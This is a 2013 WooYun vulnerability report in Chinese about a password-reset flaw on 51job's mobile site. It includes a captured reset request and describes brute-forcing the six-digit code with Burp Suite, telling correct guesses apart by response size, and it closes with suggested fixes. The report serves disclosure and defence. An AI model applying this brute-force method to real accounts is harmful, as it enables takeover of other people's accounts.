当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019700

漏洞标题:前程无忧的一个密码找回漏洞

相关厂商:前程无忧(51job)

漏洞作者: 墨水心_Len

提交时间:2013-03-07 18:56

修复时间:2013-03-12 18:57

公开时间:2013-03-12 18:57

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-07: 细节已通知厂商并且等待厂商处理中
2013-03-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

近日感冒缠身,请了好几天的假,昨儿气色见好.....(这里还是简单点好)。

详细说明:

听说提洞写标题描述须谨慎。上面还是简单点好。
近日感冒缠身,请了好几天的假,昨儿气色见好。就拿起手机偶然滴就下了前程无忧的APP;
N久没登,于是就直达忘记密码填邮箱找回....偶然发现邮件验证码竟然是全数字,于是乎,职业病来袭了!(心想明儿来了再看看吧)。
谁料,时至现在才想起...
入正题:
1、看了看,只在移动端可行。就这一道就够了!

http://3g.51job.com/my/login.php


2、直接忘记密码->通过邮箱找回->写上你要XX的账号邮箱(这个不难得到吧,各种社工);

QQ截图20130307175613.png


3、成功后->点击重置密码,随便填入验证码,还有你那可爱的密码,并设置好代理。

2.png


4、抓包获取的请求如下:

POST /my/reset_password.php?step=reset_submit HTTP/1.1
Host: 3g.51job.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://3g.51job.com/my/reset_password.php?step=reset&verifycode=xxxx&id=xxx
Cookie: guid=13626475981965640089; nolife=fromdomain%3Dwww; wapsearch=areaid%3D170200; partner=wap
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
inputcode=123123&password1=他叫马赛克&password2=他也叫马赛克&verifycode=b1fd981aa08206ae6858e10d0e674023&id=45819963


一眼瞄出inputcode为短信验证码,password1和password2为重置密码,verifycode...这个形同虚设,id就不用介绍了吧。
拿出你那秀气的burp suite,向inputcode进军吧。

3.png


以便于测试,从374000开始。

4.png


通过返回的字节数来识别是否为正确的验证码。
错误时,字节数返回71xx,正确时返回6524;
错误:

5.png


正确:

6.png


真相:

7.png


漏洞证明:

见上。

修复方案:

1、verifycode形同虚设,多加几道验证吧。
2、6位纯数字短信码的爆破,即平均50万次的请求,我使用了burpsuite测试单台机器100线程,8分多钟即可重置任意一个手机账号!危险啊
3、短信码可以为6位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
修复方案引用 @风萧萧 .

版权声明:转载请注明来源 墨水心_Len@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-03-12 18:57

厂商回复:

最新状态:

暂无